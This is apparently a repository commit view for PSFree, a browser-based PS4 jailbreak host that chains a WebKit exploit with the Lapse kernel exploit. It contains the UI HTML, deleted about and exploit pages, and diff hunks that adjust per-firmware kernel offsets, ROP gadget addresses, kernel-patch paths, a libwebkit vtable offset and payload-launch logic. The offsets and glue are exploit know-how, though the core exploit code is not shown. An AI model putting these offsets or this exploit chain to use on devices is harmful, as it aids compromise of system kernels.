class="bg-yellow-600/20 border border-yellow-500/50 rounded-lg p-4 ">
|
||||
<div class="flex items-start space-x-3 rtl:space-x-reverse">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="gold" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-alert-triangle"><path d="M10.29 3.86L1.82 18a2 2 0 0 0 1.71 3h16.94a2 2 0 0 0 1.71-3L13.71 3.86a2 2 0 0 0-3.42 0z"></path><line x1="12" y1="9" x2="12" y2="13"></line><line x1="12" y1="17" x2="12.01" y2="17"></line></svg>
|
||||
<div class="text-sm text-yellow-200">
|
||||
<p class="font-medium mb-1">Important notice:</p>
|
||||
<ul class="space-y-1 text-yellow-200/80">
|
||||
<li>Make sure to close all apps before running the exploit</li>
|
||||
<li>Make sure to delete cache data before running the exploit for the first time</li>
|
||||
<li>It might take you more than one time</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Payloads section -->
|
||||
<div class="bg-gray-800 p-6 rounded-lg flex flex-col h-full">
|
||||
<h2 class="text-xl font-semibold mb-4" id="payloads-section-title">Payloads</h2>
|
||||
<div
|
||||
class="mb-4 border-b border-gray-200 border-gray-700 w-full sticky top-0 bg-gray-800 z-10 tabs">
|
||||
<ul class="flex flex-wrap -mb-px text-sm font-medium text-center w-full"
|
||||
id="default-tab" data-tabs-toggle="#default-tab-content" role="tablist">
|
||||
<li class="flex-1" role="presentation">
|
||||
<button class="w-full inline-block p-4 border-b-2 rounded-t-lg" id="tools-tab"
|
||||
data-tabs-target="#tools" type="button" role="tab" aria-controls="tools"
|
||||
aria-selected="false">Tools</button>
|
||||
</li>
|
||||
<li class="flex-1" role="presentation">
|
||||
<button
|
||||
class="w-full inline-block p-4 border-b-2 rounded-t-lg hover:text-gray-600 hover:border-gray-300 hover:text-gray-300"
|
||||
id="linux-tab" data-tabs-target="#linux" type="button" role="tab"
|
||||
aria-controls="linux" aria-selected="false">Linux</button>
|
||||
</li>
|
||||
<li class="flex-1" role="presentation">
|
||||
<button
|
||||
class="w-full inline-block p-4 border-b-2 rounded-t-lg hover:text-gray-600 hover:border-gray-300 hover:text-gray-300"
|
||||
id="games-tab" data-tabs-target="#games" type="button" role="tab"
|
||||
aria-controls="rdr2" aria-selected="false">Games</button>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
<div id="payloadsGrid" class="space-y-3 overflow-y-auto flex-grow max-h-[calc(100vh-250px)]" style="overflow-x: hidden !important;">
|
||||
<div id="default-tab-content" class="bg-gray-800">
|
||||
<div class="p-4 rounded-lg bg-gray-50 bg-gray-800" id="tools" role="tabpanel"
|
||||
aria-labelledby="tools-tab">
|
||||
</div>
|
||||
<div class="hidden p-4 rounded-lg bg-gray-50 bg-gray-800" id="linux" role="tabpanel"
|
||||
aria-labelledby="linux-tab">
|
||||
</div>
|
||||
<div class="hidden p-4 rounded-lg bg-gray-50 bg-gray-800" id="games" role="tabpanel"
|
||||
aria-labelledby="games-tab">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="henSelection flex items-center justify-center gap-4 mb-4">
|
||||
<label
|
||||
class="flex items-center px-2 py-1 rounded bg-gray-700/60 hover:bg-gray-700 cursor-pointer shadow border-2 border-transparent focus-within:border-blue-500">
|
||||
<input type="radio" name="hen2" value="GoldHEN" class="accent-blue-500 w-4 h-4 ml-2"
|
||||
onchange="saveJbFlavor(this.name, this.value)">
|
||||
<span class="text-base font-semibold text-white/90 select-none">GoldHEN</span>
|
||||
</label>
|
||||
<label
|
||||
class="flex items-center px-2 py-1 rounded bg-gray-700/60 hover:bg-gray-700 cursor-pointer shadow border-2 border-transparent focus-within:border-blue-500">
|
||||
<input type="radio" name="hen2" value="HEN" class="accent-blue-500 w-4 h-4 ml-2"
|
||||
onchange="saveJbFlavor(this.name, this.value)">
|
||||
<span class="text-base font-semibold text-white/90 select-none">HEN</span>
|
||||
</label>
|
||||
<button id="exploitRun"
|
||||
class="flex items-center justify-center bg-blue-600 hover:bg-blue-700 p-2 rounded-full transition-colors">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="25" height="25" fill="currentColor" class="bi bi-play" viewBox="0 0 16 16"> <path d="M10.804 8 5 4.633v6.734L10.804 8zm.792-.696a.802.802 0 0 1 0 1.392l-6.363 3.692C4.713 12.69 4 12.345 4 11.692V4.308c0-.653.713-.998 1.233-.696l6.363 3.692z"/> </svg>
|
||||
</button>
|
||||
</div>
|
||||
<button id="backToInitialBtn" onclick="ui.initialScreen.scrollIntoView({block: 'end'});"
|
||||
class="w-full bg-blue-600 hover:bg-blue-700 p-3 rounded mt-4 font-semibold disabled:opacity-50 transition-colors">
|
||||
Back
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
</main>
|
||||
|
||||
|
||||
<!-- Popups -->
|
||||
<div class="fixed inset-0 bg-black/50 z-50 flex backdrop-blur-sm items-center justify-center p-4 hidden"
|
||||
id="about-popup-overlay">
|
||||
<div id="about-popup" class="bg-gray-800 p-6 rounded-lg shadow-xl w-full max-w-md">
|
||||
<h2 class="text-2xl font-bold mb-4">About PSFree</h2>
|
||||
<div class="space-y-2 text-white/80">
|
||||
<p>Version: 1.5.2</p>
|
||||
<p>A web interface to jailbreak your PS4 using PSFree chained with Lapse kernel exploit</p>
|
||||
</div>
|
||||
<div id="PS4FWOK" class="mt-6">
|
||||
<h3 class="text-l font-bold mb-4">Supported PS4 firmware</h3>
|
||||
<div id="listfw" class="grid grid-cols-4 gap-2 text-sm text-white/70">
|
||||
<p id="fw700">7.00</p>
|
||||
<p id="fw701">7.01</p>
|
||||
<p id="fw702">7.02</p>
|
||||
<p id="fw750">7.50</p>
|
||||
<p id="fw751">7.51</p>
|
||||
<p id="fw755">7.55</p>
|
||||
<p id="fw800">8.00</p>
|
||||
<p id="fw801">8.01</p>
|
||||
<p id="fw803">8.03</p>
|
||||
<p id="fw850">8.50</p>
|
||||
<p id="fw852">8.52</p>
|
||||
<p id="fw900">9.00</p>
|
||||
<p id="fw903">9.03</p>
|
||||
<p id="fw904">9.04</p>
|
||||
<p id="fw950">9.50</p>
|
||||
<p id="fw951">9.51</p>
|
||||
<p id="fw960">9.60</p>
|
||||
</div>
|
||||
</div>
|
||||
<button onclick="aboutPopup()"
|
||||
class="mt-6 w-full bg-blue-600 hover:bg-blue-700 p-3 rounded font-semibold transition-colors"
|
||||
id="close-about">Close</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Settings popup -->
|
||||
<div class="fixed inset-0 bg-black/50 backdrop-blur-sm z-50 flex items-center justify-center p-4 hidden"
|
||||
id="settings-popup-overlay">
|
||||
<div id="settings-popup"
|
||||
class="bg-gray-800 p-6 rounded-lg shadow-xl w-full max-w-lg max-h-[90vh] overflow-y-auto">
|
||||
<h2 class="text-2xl font-bold mb-4">PSFree settings</h2>
|
||||
|
||||
<label id="autojbchkb" class="flex items-center text-white/80 mt-4 mb-2">
|
||||
<input type="checkbox" id="autoJbBox" class="ml-2"/>
|
||||
<p id="agtext">Jailbreak automatically</p>
|
||||
</label>
|
||||
|
||||
<!-- Language chooser -->
|
||||
<div id="chooselang" class="mb-6">
|
||||
<h3 class="text-lg font-semibold mb-2">Language</h3>
|
||||
<div class="radio-group space-y-2">
|
||||
<label class="flex items-center text-white/80">
|
||||
<input type="radio" name="language" value="en" class="ml-2" onchange="saveLanguage('en');">
|
||||
<p id="enLang">English</p>
|
||||
</label>
|
||||
<label class="flex items-center text-white/80">
|
||||
<input type="radio" name="language" value="ar" class="ml-2" onchange="saveLanguage('ar'); ">
|
||||
<p id="arLang">Arabic</p>
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<button onclick="settingsPopup()"
|
||||
class="mt-6 w-full bg-blue-600 hover:bg-blue-700 p-3 rounded font-semibold transition-colors"
|
||||
id="close-settings">Close</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
document.addEventListener('DOMContentLoaded', () => {
|
||||
loadSettings();
|
||||
// check for applicationCache
|
||||
if (window.applicationCache) {
|
||||
window.applicationCache.addEventListener("progress", DLProgress, false);
|
||||
window.applicationCache.oncached = function (e) { DisplayCacheProgress(); };
|
||||
window.applicationCache.onupdateready = function (e) { DisplayCacheProgress(); };
|
||||
} else {
|
||||
console.warn("This browser does not support save in cache!");
|
||||
}
|
||||
});
|
||||
</script>
|
||||
<!-- Main JS file -->
|
||||
<script src='./includes/js/index.js'></script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
164
src/about.html
164
src/about.html
@@ -1,164 +0,0 @@
|
||||
<!-- Copyright (C) 2023-2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
-->
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<title>About PSFree</title>
|
||||
</head>
|
||||
<body>
|
||||
PSFree is an exploit chain for PS4 and PS5.<br />
|
||||
PSFree is free software. PSFree's license is GNU-AGPL-3.0-or-later.<br />
|
||||
Here is the source code of this program:<br />
|
||||
<br />
|
||||
HTML files:<br />
|
||||
<a href="./index.html" download>index.html</a><br />
|
||||
<a href="./about.html" download>about.html</a><br />
|
||||
JavaScript files:<br />
|
||||
<table id="jslicense-labels1">
|
||||
<tr>
|
||||
<td><a href="./alert.mjs">alert.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./alert.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./config.mjs">config.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./config.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./lapse.mjs">lapse.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./lapse.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./psfree.mjs">psfree.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./psfree.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./send.mjs">send.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./send.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./lapse/ps4/800.mjs">lapse/ps4/800.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./lapse/ps4/800.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./lapse/ps4/850.mjs">lapse/ps4/850.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./lapse/ps4/850.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./lapse/ps4/852.mjs">lapse/ps4/852.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./lapse/ps4/852.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./lapse/ps4/900.mjs">lapse/ps4/900.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./lapse/ps4/900.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./lapse/ps4/903.mjs">lapse/ps4/903.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./lapse/ps4/903.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./lapse/ps4/950.mjs">lapse/ps4/950.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./lapse/ps4/950.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./module/chain.mjs">module/chain.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./module/chain.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./module/int64.mjs">module/int64.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./module/int64.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./module/mem.mjs">module/mem.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./module/mem.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./module/memtools.mjs">module/memtools.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./module/memtools.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./module/offset.mjs">module/offset.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./module/offset.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./module/rw.mjs">module/rw.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./module/rw.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./module/utils.mjs">module/utils.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./module/utils.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./module/view.mjs">module/view.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./module/view.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./rop/ps4/800.mjs">rop/ps4/800.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./rop/ps4/800.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./rop/ps4/850.mjs">rop/ps4/850.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./rop/ps4/850.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./rop/ps4/900.mjs">rop/ps4/900.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./rop/ps4/900.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./rop/ps4/950.mjs">rop/ps4/950.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./rop/ps4/950.mjs" download>download</a></td>
|
||||
</tr>
|
||||
</table>
|
||||
kpatch/ files:<br />
|
||||
<a href="./kpatch/800.c">kpatch/800.c</a><br />
|
||||
<a href="./kpatch/850.c">kpatch/850.c</a><br />
|
||||
<a href="./kpatch/900.c">kpatch/900.c</a><br />
|
||||
<a href="./kpatch/903.c">kpatch/903.c</a><br />
|
||||
<a href="./kpatch/950.c">kpatch/950.c</a><br />
|
||||
<a href="./kpatch/Makefile">kpatch/Makefile</a><br />
|
||||
<a href="./kpatch/script.ld">kpatch/script.ld</a><br />
|
||||
<a href="./kpatch/types.h">kpatch/types.h</a><br />
|
||||
<a href="./kpatch/utils.h">kpatch/utils.h</a><br />
|
||||
fonts/ files:<br />
|
||||
<a href="./fonts/FONTS.LICENSE">fonts/FONTS.LICENSE</a><br />
|
||||
<a href="./fonts/LiberationMono-Regular.ttf">fonts/LiberationMono-Regular.ttf</a><br />
|
||||
<a href="./fonts/README.txt">fonts/README.txt</a><br />
|
||||
</body>
|
||||
</html>
|
||||
@@ -1,38 +0,0 @@
|
||||
<!-- Copyright (C) 2023-2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
-->
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<title>exploit</title>
|
||||
<style>
|
||||
@font-face {
|
||||
font-family: "logging";
|
||||
src: url("./fonts/LiberationMono-Regular.ttf");
|
||||
}
|
||||
#console {
|
||||
font-family: "logging";
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
PSFree: A PS4/PS5 Exploit Chain<br />
|
||||
See <a href="./about.html" data-jslicense="1">JavaScript license information</a> for the source code and license.<br />
|
||||
<pre id="console"></pre>
|
||||
</body>
|
||||
<script type="module" src="./alert.mjs"></script>
|
||||
</html>
|
||||
@@ -1979,7 +1979,16 @@ function runPayload(path) {
|
||||
|
||||
kexploit().then((success) => {
|
||||
if (success) {
|
||||
// runPayload("./payload.bin");
|
||||
if (sessionStorage.getItem('binloader')){
|
||||
runBinLoader();
|
||||
} else {
|
||||
runPayload(window.payload_path);
|
||||
payloadSucces();
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
function payloadSucces(){
|
||||
log("payload executed successfully, reloading page in 4 seconds...");
|
||||
setTimeout(() => {window.location.reload();}, 4000); // 4 seconds delay
|
||||
}
|
||||
@@ -34,4 +34,4 @@ export const off_cpuid_to_pcpu = 0x212cd10;
|
||||
export const off_sysent_661 = 0x112d250;
|
||||
export const jmp_rsi = 0x6b192;
|
||||
|
||||
export const patch_elf_loc = "./kpatch/700.bin"; // Relative to `../../lapse.mjs`
|
||||
export const patch_elf_loc = "./src/kpatch/700.bin"; // Relative to `../../lapse.mjs`
|
||||
|
||||
@@ -34,4 +34,4 @@ export const off_cpuid_to_pcpu = 0x2261070;
|
||||
export const off_sysent_661 = 0x1129f30;
|
||||
export const jmp_rsi = 0x1f842;
|
||||
|
||||
export const patch_elf_loc = "./kpatch/750.bin"; // Relative to `../../lapse.mjs`
|
||||
export const patch_elf_loc = "./src/kpatch/750.bin"; // Relative to `../../lapse.mjs`
|
||||
|
||||
@@ -34,7 +34,7 @@ export const off_cpuid_to_pcpu = 0x2261070;
|
||||
export const off_sysent_661 = 0x1129f30;
|
||||
export const jmp_rsi = 0x1f842;
|
||||
|
||||
export const patch_elf_loc = "./kpatch/750.bin"; // Relative to `../../lapse.mjs`
|
||||
export const patch_elf_loc = "./src/kpatch/750.bin"; // Relative to `../../lapse.mjs`
|
||||
// Not a mistake! Only ONE kernel offset differs between 7.50, 7.51, and 7.55.
|
||||
// It's the `off_kstr` variable in THIS file, the kernel patches are the same.
|
||||
// That's why 7.51/7.55 are seperate from 7.50, but using the same kpatch file.
|
||||
|
||||
@@ -34,4 +34,4 @@ export const off_cpuid_to_pcpu = 0x228e6b0;
|
||||
export const off_sysent_661 = 0x11040c0;
|
||||
export const jmp_rsi = 0xe629c;
|
||||
|
||||
export const patch_elf_loc = "./kpatch/800.bin"; // Relative to `../../lapse.mjs`
|
||||
export const patch_elf_loc = "./src/kpatch/800.bin"; // Relative to `../../lapse.mjs`
|
||||
|
||||
@@ -34,4 +34,4 @@ export const off_cpuid_to_pcpu = 0x1cfc240;
|
||||
export const off_sysent_661 = 0x11041b0;
|
||||
export const jmp_rsi = 0xc810d;
|
||||
|
||||
export const patch_elf_loc = "./kpatch/850.bin"; // Relative to `../../lapse.mjs`
|
||||
export const patch_elf_loc = "./src/kpatch/850.bin"; // Relative to `../../lapse.mjs`
|
||||
|
||||
@@ -34,4 +34,4 @@ export const off_cpuid_to_pcpu = 0x1cfc240;
|
||||
export const off_sysent_661 = 0x11041b0;
|
||||
export const jmp_rsi = 0xc810d;
|
||||
|
||||
export const patch_elf_loc = "./kpatch/850.bin"; // Relative to `../../lapse.mjs`
|
||||
export const patch_elf_loc = "./src/kpatch/850.bin"; // Relative to `../../lapse.mjs`
|
||||
|
||||
@@ -34,4 +34,4 @@ export const off_cpuid_to_pcpu = 0x21ef2a0;
|
||||
export const off_sysent_661 = 0x1107f00;
|
||||
export const jmp_rsi = 0x4c7ad;
|
||||
|
||||
export const patch_elf_loc = "./kpatch/900.bin"; // Relative to `../../lapse.mjs`
|
||||
export const patch_elf_loc = "./src/kpatch/900.bin"; // Relative to `../../lapse.mjs`
|
||||
|
||||
@@ -34,4 +34,4 @@ export const off_cpuid_to_pcpu = 0x21eb2a0;
|
||||
export const off_sysent_661 = 0x1103f00;
|
||||
export const jmp_rsi = 0x5325b;
|
||||
|
||||
export const patch_elf_loc = "./kpatch/903.bin"; // Relative to `../../lapse.mjs`
|
||||
export const patch_elf_loc = "./src/kpatch/903.bin"; // Relative to `../../lapse.mjs`
|
||||
|
||||
@@ -34,4 +34,4 @@ export const off_cpuid_to_pcpu = 0x21a66c0;
|
||||
export const off_sysent_661 = 0x1100ee0;
|
||||
export const jmp_rsi = 0x15a6d;
|
||||
|
||||
export const patch_elf_loc = "./kpatch/950.bin"; // Relative to `../../lapse.mjs`
|
||||
export const patch_elf_loc = "./src/kpatch/950.bin"; // Relative to `../../lapse.mjs`
|
||||
|
||||
@@ -136,7 +136,7 @@ function get_bases() {
|
||||
const textarea = document.createElement("textarea");
|
||||
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
|
||||
const textarea_vtable = webcore_textarea.readp(0);
|
||||
const off_ta_vt = 0x23ba060;
|
||||
const off_ta_vt = 0x23ba070;
|
||||
const libwebkit_base = textarea_vtable.sub(off_ta_vt);
|
||||
|
||||
const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
|
||||
|
||||
Reference in New Issue
Block a user